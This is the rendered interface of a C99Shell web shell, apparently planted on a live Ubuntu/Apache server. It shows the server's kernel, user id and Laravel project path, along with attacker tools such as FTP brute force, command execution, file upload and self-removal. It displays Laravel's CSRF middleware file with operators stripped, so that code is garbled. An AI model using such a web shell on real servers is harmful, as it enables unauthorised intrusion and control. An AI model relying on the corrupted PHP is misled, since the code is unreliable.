!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/cloud_campaign/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/   drwxr-xr-x
Free 13.16 GB of 57.97 GB (22.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VerifyCsrfToken.php (5.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Foundation\Http\Middleware;

use 
Closure;
use 
Illuminate\Contracts\Encryption\DecryptException;
use 
Illuminate\Contracts\Encryption\Encrypter;
use 
Illuminate\Contracts\Foundation\Application;
use 
Illuminate\Contracts\Support\Responsable;
use 
Illuminate\Cookie\CookieValuePrefix;
use 
Illuminate\Cookie\Middleware\EncryptCookies;
use 
Illuminate\Session\TokenMismatchException;
use 
Illuminate\Support\InteractsWithTime;
use 
Symfony\Component\HttpFoundation\Cookie;

class 
VerifyCsrfToken
{
    use 
InteractsWithTime;

    
/**
     * The application instance.
     *
     * @var \Illuminate\Contracts\Foundation\Application
     */
    
protected $app;

    
/**
     * The encrypter implementation.
     *
     * @var \Illuminate\Contracts\Encryption\Encrypter
     */
    
protected $encrypter;

    
/**
     * The URIs that should be excluded from CSRF verification.
     *
     * @var array
     */
    
protected $except = [];

    
/**
     * Indicates whether the XSRF-TOKEN cookie should be set on the response.
     *
     * @var bool
     */
    
protected $addHttpCookie true;

    
/**
     * Create a new middleware instance.
     *
     * @param  \Illuminate\Contracts\Foundation\Application  $app
     * @param  \Illuminate\Contracts\Encryption\Encrypter  $encrypter
     * @return void
     */
    
public function __construct(Application $appEncrypter $encrypter)
    {
        
$this->app $app;
        
$this->encrypter $encrypter;
    }

    
/**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @return mixed
     *
     * @throws \Illuminate\Session\TokenMismatchException
     */
    
public function handle($requestClosure $next)
    {
        if (
            
$this->isReading($request) ||
            
$this->runningUnitTests() ||
            
$this->inExceptArray($request) ||
            
$this->tokensMatch($request)
        ) {
            return 
tap($next($request), function ($response) use ($request) {
                if (
$this->shouldAddXsrfTokenCookie()) {
                    
$this->addCookieToResponse($request$response);
                }
            });
        }

        throw new 
TokenMismatchException('CSRF token mismatch.');
    }

    
/**
     * Determine if the HTTP request uses a ‘read’ verb.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return bool
     */
    
protected function isReading($request)
    {
        return 
in_array($request->method(), ['HEAD''GET''OPTIONS']);
    }

    
/**
     * Determine if the application is running unit tests.
     *
     * @return bool
     */
    
protected function runningUnitTests()
    {
        return 
$this->app->runningInConsole() && $this->app->runningUnitTests();
    }

    
/**
     * Determine if the request has a URI that should pass through CSRF verification.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return bool
     */
    
protected function inExceptArray($request)
    {
        foreach (
$this->except as $except) {
            if (
$except !== '/') {
                
$except trim($except'/');
            }

            if (
$request->fullUrlIs($except) || $request->is($except)) {
                return 
true;
            }
        }

        return 
false;
    }

    
/**
     * Determine if the session and input CSRF tokens match.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return bool
     */
    
protected function tokensMatch($request)
    {
        
$token $this->getTokenFromRequest($request);

        return 
is_string($request->session()->token()) &&
               
is_string($token) &&
               
hash_equals($request->session()->token(), $token);
    }

    
/**
     * Get the CSRF token from the request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return string
     */
    
protected function getTokenFromRequest($request)
    {
        
$token $request->input('_token') ?: $request->header('X-CSRF-TOKEN');

        if (! 
$token && $header $request->header('X-XSRF-TOKEN')) {
            try {
                
$token CookieValuePrefix::remove($this->encrypter->decrypt($header, static::serialized()));
            } catch (
DecryptException $e) {
                
$token '';
            }
        }

        return 
$token;
    }

    
/**
     * Determine if the cookie should be added to the response.
     *
     * @return bool
     */
    
public function shouldAddXsrfTokenCookie()
    {
        return 
$this->addHttpCookie;
    }

    
/**
     * Add the CSRF token to the response cookies.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Symfony\Component\HttpFoundation\Response  $response
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
protected function addCookieToResponse($request$response)
    {
        
$config config('session');

        if (
$response instanceof Responsable) {
            
$response $response->toResponse($request);
        }

        
$response->headers->setCookie(
            new 
Cookie(
                
'XSRF-TOKEN'$request->session()->token(), $this->availableAt(60 $config['lifetime']),
                
$config['path'], $config['domain'], $config['secure'], falsefalse$config['same_site'] ?? null
            
)
        );

        return 
$response;
    }

    
/**
     * Determine if the cookie contents should be serialized.
     *
     * @return bool
     */
    
public static function serialized()
    {
        return 
EncryptCookies::serialized('XSRF-TOKEN');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--